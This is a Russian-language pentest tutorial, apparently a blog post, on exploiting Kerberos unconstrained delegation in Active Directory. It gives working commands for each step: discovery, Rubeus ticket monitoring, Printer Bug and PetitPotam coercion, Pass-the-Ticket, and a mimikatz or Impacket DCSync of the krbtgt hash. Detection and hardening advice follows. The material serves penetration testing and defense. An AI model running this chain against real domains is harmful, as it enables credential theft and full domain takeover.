Unconstrained delegation атака на практике: от разведки до захвата домена AD

По данным IBM X-Force Threat Intelligence Index 2025, атаки с использованием действительных учётных данных выросли на 71 % за год. CrowdStrike в Global Threat Report 2025 подтверждает: 75 % вторжений в 2024 году опирались на легитимные credentials. И вот что интересно — среди всех способов конвертировать одну скомпрометированную машину в полный Domain Admin, unconstrained delegation атака даёт одну из самых коротких цепочек. На пентестах Active Directory я нахожу эту misconfiguration стабильно: серверы печати, файловые шары, мониторинг — неограниченное делегирование живёт там годами, потому что «работает — не трогай». Ниже разберу полную эксплуатацию на сценарии, типичном для HTB-машин с AD-цепочками: от поиска уязвимого хоста до DCSync и получения хэша krbtgt.

Kerberos delegation для новичков: что это и зачем ломать

Kerberos — протокол аутентификации в Active Directory (AD — служба каталогов Microsoft, управляющая пользователями, компьютерами и политиками в корпоративной сети). Ключевая идея: пользователь не отправляет пароль каждому сервису напрямую. Вместо этого он обращается к KDC (Key Distribution Center — центр выдачи ключей, живёт на контроллере домена) и получает TGT — Ticket Granting Ticket, «билет на получение билетов». TGT зашифрован ключом учётной записи krbtgt и подтверждает личность пользователя. С этим TGT пользователь запрашивает у KDC сервисные билеты (ST) для конкретных ресурсов — файловых шар, баз данных, веб-серверов.

Делегирование (delegation) — механизм, позволяющий сервису действовать от имени пользователя при обращении к другим сервисам. Легитимный пример: веб-приложение принимает запрос от пользователя и лезет в SQL-базу от его имени, возвращая только те данные, к которым у пользователя есть доступ. Удобно. Но дьявол, как обычно, в реализации.

Три вида делегирования в AD:

Почему unconstrained delegation — самая опасная misconfiguration

При неограниченном делегировании KDC вкладывает копию TGT аутентифицирующегося пользователя прямо внутрь сервисного билета. Сервис извлекает этот TGT и хранит его в памяти процесса LSASS (Local Security Authority Subsystem Service — процесс Windows, отвечающий за аутентификационный материал). Запомните эту деталь — она критична.

Если атакующий получил контроль над машиной с unconstrained delegation, он вытаскивает из LSASS все кешированные TGT. Перехватил TGT контроллера домена (учётная запись DC01$) — представляешься контроллером перед KDC и выполняешь репликацию через DCSync, получая NTLM-хэш любой учётной записи. Один скомпрометированный сервер — и весь домен под контролем.

Украденный TGT по умолчанию живёт 10 часов (параметр Default Domain Policy «Maximum lifetime for user ticket» — применяется ко всем TGT, включая машинные аккаунты вроде DC01$, настраивается администраторами). Даже если жертва сменит пароль, билет остаётся валидным до истечения срока. Атакующий сохраняет доступ без повторной эксплуатации. Десять часов — более чем достаточно, чтобы вытащить всё, что нужно.

В терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1558 — её идентификаторы) цепочка раскладывается так:

• Перехват TGT — Steal or Forge Kerberos Tickets (T1558, Credential Access)
• Принуждение к аутентификации — Forced Authentication (T1187, Credential Access)
• Использование перехваченного билета — Pass the Ticket (T1550.003, Lateral Movement)

Как найти unconstrained delegation в домене

Бизнес-логика: зачем атакующему искать делегирование

Unconstrained delegation — один из самых коротких путей повышения привилегий (privilege escalation Windows). Никаких сложных цепочек эксплойтов: нашёл сервер с неограниченным делегированием, получил на нём локального админа, заставил DC аутентифицироваться, забрал TGT, сделал DCSync. Четыре шага — и домен захвачен.

Почему эта настройка вообще встречается? Администраторы включают её на серверах печати, файловых хранилищах, системах мониторинга. Часто настройка пришла с миграции домена из Windows Server 2003 и просто не пересматривалась. «Работает? Работает. Следующий тикет.»

PowerView: быстрая разведка

Предусловия: любая доменная учётная запись и доступ к PowerView (модуль PowerSploit).

# Компьютеры с unconstrained delegation (кроме DC)
Get-DomainComputer -Unconstrained |
  Where-Object {$_.useraccountcontrol -notmatch 'SERVER_TRUST'} |
  Select-Object dnshostname, useraccountcontrol

# Пользовательские аккаунты с делегированием
Get-DomainUser -AllowDelegation |
  Select-Object samaccountname, useraccountcontrol

Первая команда находит все компьютеры с флагом TRUSTED_FOR_DELEGATION в атрибуте UserAccountControl, исключая контроллеры домена (у них есть флаг SERVER_TRUST_ACCOUNT). Вторая ищет пользовательские аккаунты с тем же флагом — встречается реже, но бывает на сервисных учётных записях.

Ожидаемый результат: список хостнеймов. Если в выводе помимо контроллеров домена есть другие машины — это цели для pentest Active Directory.

BloodHound (инструмент визуализации путей атаки в AD) автоматически выделяет узлы с unconstrained delegation и показывает кратчайший маршрут от текущего скомпрометированного аккаунта. После сбора данных через SharpHound ищите узлы с пометкой «Unconstrained Delegation». BloodHound покажет все промежуточные шаги — иногда путь короче, чем кажется.

Полная цепочка unconstrained delegation атаки: делай раз, делай два, делай три

Сценарий, типичный для HTB-машин с Kerberos: мы скомпрометировали доменного пользователя, получили локальные привилегии администратора на хосте с unconstrained delegation. Задача — захватить TGT контроллера домена и провести DCSync.

Предусловия

• Локальный административный доступ (лучше NT AUTHORITY\SYSTEM) на машине с включённым unconstrained delegation
• Доменная учётная запись (любого уровня привилегий) для принуждения к аутентификации
• Инструменты: Rubeus на целевой Windows-машине, SpoolSample.exe или PetitPotam.py для coercion-атаки, mimikatz для DCSync

Делай раз: мониторинг входящих TGT

На скомпрометированной машине из консоли с правами SYSTEM запускаем Rubeus в режиме мониторинга. Rubeus начнёт опрашивать LSASS и выводить каждый новый Kerberos-билет.

Команда: Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap

Параметры: /interval:5 — проверка каждые 5 секунд; /filteruser:DC01$ — показывать только билеты от машинной учётной записи контроллера домена DC01 (знак $ — стандарт именования компьютерных аккаунтов в AD); /nowrap — base64 билета в одну строку без переносов (иначе замучаетесь копировать).

Что вы увидите: строку [*] Action: TGT Monitoring и тишину. Билетов от DC пока нет — мы ещё не спровоцировали аутентификацию. Не закрывайте это окно.

Делай два: Printer Bug — принуждаем DC к аутентификации

Теперь заставляем контроллер домена аутентифицироваться на нашей машине. Это техника Forced Authentication (T1187) — злоупотребление легитимными протоколами Windows, чтобы целевой хост сам инициировал аутентификацию на подконтрольный атакующему сервер.

Printer Bug использует протокол MS-RPRN (служба печати). Любой доменный пользователь может запросить обновление заданий печати у контроллера домена и указать, куда отправить уведомление. DC инициирует Kerberos-аутентификацию на указанный хост — и его TGT попадает в LSASS нашей машины. Звучит абсурдно, но это by design.

Из отдельной сессии (Kali или другая Windows-машина): SpoolSample.exe DC01.domain.local ATTACKER.domain.local. Первый аргумент — контроллер домена, второй — скомпрометированная машина, где слушает Rubeus.

PetitPotam — альтернатива через протокол MS-EFSRPC (Encrypting File System Remote Protocol). В ряде конфигураций работает без учётных данных: python3 PetitPotam.py ATTACKER_IP DC01_IP.

Ожидаемый результат: через несколько секунд в окне Rubeus появится перехваченный TGT от DC01$. Rubeus выведет base64-закодированную строку билета. Скопируйте его целиком — это TGT контроллера домена.

Делай три: Pass the Ticket и DCSync

Финальный шаг: импортируем перехваченный TGT в текущую сессию и выполняем DCSync — запрос NTLM-хэшей через механизм репликации AD. Машинная учётная запись DC имеет права репликации по умолчанию, поэтому никаких дополнительных привилегий не нужно.

Rubeus.exe ptt /ticket:<base64_строка_TGT_от_DC01>
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

Первая команда — Pass the Ticket (T1550.003): TGT от DC01$ загружается в LSASS текущей сессии. После этого Kerberos-аутентификация в рамках того же Logon Session будет использовать импортированный TGT. Нюанс: Rubeus ptt и mimikatz должны выполняться в одном security context (одной logon-сессии), иначе билет не будет доступен mimikatz. Вторая команда — DCSync через mimikatz: запрашиваем NTLM-хэш учётной записи krbtgt.

Ожидаемый результат: mimikatz выведет NTLM-хэш, SID домена и историю паролей krbtgt. Этот хэш — основа для Golden Ticket, который даёт неограниченный доступ ко всем ресурсам домена на срок жизни билета.

Альтернатива: вся цепочка с Kali через Impacket

Если работаете с Kali, конвертируйте kirbi-билет в ccache (формат MIT Kerberos) через ticketConverter.py ticket.kirbi ticket.ccache, экспортируйте export KRB5CCNAME=./ticket.ccache и запустите secretsdump.py -k -no-pass 'domain.local/DC01$@DC01.domain.local' (одинарные кавычки защищают $ от интерпретации shell; убедитесь, что REALM в ccache-файле совпадает по регистру с указанным в команде). Флаг -k включает Kerberos-аутентификацию вместо NTLM. Результат тот же: полный дамп хэшей домена.

Constrained delegation vs unconstrained delegation: ключевые отличия для пентестера

При constrained delegation KDC не вкладывает TGT пользователя в сервисный билет. Вместо этого используются расширения S4U2Self и S4U2Proxy: сервис запрашивает билеты только к явно указанным ресурсам через атрибут msDS-AllowedToDelegateTo. Перехватить TGT произвольного пользователя «в пролёте» невозможно — требуется компрометация самого сервисного аккаунта.

Но и тут есть подвох. Если скомпрометирован аккаунт с constrained delegation и включённым Protocol Transition (флаг TRUSTED_TO_AUTH_FOR_DELEGATION), атакующий использует Rubeus.exe s4u для имперсонации любого пользователя к разрешённым сервисам. Kerberos не валидирует имя сервиса (SPN) на возвращённом билете при S4U — можно запросить билет для CIFS, а предъявить его как LDAP на том же хосте. Это позволяет, например, выполнить DCSync через подменённый LDAP-билет. Красивая атака, хоть и сложнее unconstrained.

RBCD переворачивает модель: целевой ресурс через атрибут msDS-AllowedToActOnBehalfOfOtherIdentity сам определяет, кто может к нему делегировать. Если атакующий может записать в этот атрибут — он настраивает произвольную делегацию без привилегий Domain Admin. По данным GuidePoint Security, эта атака регулярно встречается в корпоративных средах из-за некорректных ACL на компьютерных объектах.

Защита и детектирование delegation-атак

Три меры, которые закрывают основные векторы:

Аудит и миграция. Команда Get-ADComputer -Filter {TrustedForDelegation -eq $true} покажет все компьютеры с unconstrained delegation. Контроллеры домена в этом списке — норма. Всё остальное — кандидат на миграцию к constrained delegation или RBCD. Каждый хост с неограниченным делегированием — Tier 0 актив, требующий защиты на уровне контроллера домена. Если у вас таких хостов больше нуля (не считая DC) — это проблема, а не особенность.

Отключение Print Spooler на DC. Служба печати на контроллере домена — основной вектор для Printer Bug. Отключите её через Set-Service -Name Spooler -StartupType Disabled на каждом DC. Это не устраняет PetitPotam, но закрывает самый распространённый способ coercion. Против PetitPotam и аналогичных coercion-техник через MS-EFSRPC рекомендуется отключить NTLM на уровне DC или включить EPA/Require SSL на AD CS Web Enrollment endpoints (см. Microsoft KB5005413).

Флаг «Account is sensitive and cannot be delegated». Для привилегированных учётных записей установите этот флаг — KDC не будет вкладывать TGT пользователя в сервисный билет. Группа Protected Users даёт аналогичный эффект, но с оговоркой: встроенный аккаунт Administrator (RID 500), по данным сообщества, может не быть защищён этим механизмом даже в Protected Users — на это указывает thehacker.recipes со ссылкой на исследование SensePost. Проверяйте на своём стенде.

На стороне мониторинга: фиксируйте события Event ID 4624 с типом логона 10 (RemoteInteractive) на серверах с unconstrained delegation от привилегированных учётных записей. Аномальные Kerberos TGS-запросы от машинных аккаунтов к нехарактерным сервисам — сигнал для расследования.

Согласно Verizon DBIR 2025, 38 % подтверждённых утечек связаны с кражей учётных данных. Unconstrained delegation конвертирует одну скомпрометированную машину в полный Domain Admin за считанные минуты — и делает это тихо, через штатные механизмы Kerberos. По моему опыту пентестов, во многих корпоративных доменах эта настройка висит на серверах, которые никто не трогал с 2008 года. Администраторы включают неограниченное делегирование «временно» — и забывают на пять лет. Microsoft давно предложила безопасные альтернативы, но миграция требует времени и понимания, как работает делегирование на уровне протокола. Без понимания механики S4U2Self/S4U2Proxy невозможно оценить реальный риск constrained delegation — поэтому на курсах по AD-пентесту тема делегирования обычно выделена в отдельный модуль. Моя позиция: если в домене есть хотя бы один не-DC хост с TRUSTED_FOR_DELEGATION — это не «потенциальная проблема», а готовая точка входа. Не «если атакующий доберётся», а «когда». Если ты на старте и хочешь разобраться в AD до таких цепочек — на IB Basics эта база покрывается за пару месяцев, без академического тона.